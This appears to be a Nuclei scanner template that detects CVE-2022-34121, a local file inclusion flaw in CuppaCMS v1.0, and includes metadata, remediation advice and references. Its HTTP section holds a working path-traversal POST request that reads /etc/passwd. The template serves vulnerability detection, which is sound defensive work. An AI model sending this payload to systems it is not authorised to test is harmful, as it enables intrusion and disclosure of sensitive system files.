CuppaCMS v1.0 - Local File Inclusion

id: CVE-2022-34121

info:
  name: CuppaCMS v1.0 - Local File Inclusion
  author: edoardottt
  severity: high
  description: |
    Cuppa CMS v1.0 is vulnerable to local file inclusion via the component /templates/default/html/windows/right.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, sensitive information disclosure, and potential remote code execution.
  remediation: |
    Upgrade to the latest version of CuppaCMS or apply the provided patch to fix the LFI vulnerability.
  reference:
    - https://github.com/hansmach1ne/MyExploits/tree/main/LFI_in_CuppaCMS_templates
    - https://github.com/CuppaCMS/CuppaCMS/issues/18
    - https://nvd.nist.gov/vuln/detail/CVE-2022-34121
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-34121
    cwe-id: CWE-829
    epss-score: 0.03059
    epss-percentile: 0.85986
    cpe: cpe:2.3:a:cuppacms:cuppacms:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: cuppacms
    product: cuppacms
  tags: cve,cve2022,lfi,cuppa,cms,cuppacms,vkev,vuln

http:
  - raw:
      - |
        POST /templates/default/html/windows/right.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        url=../../../../../../../../../../../../etc/passwd

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
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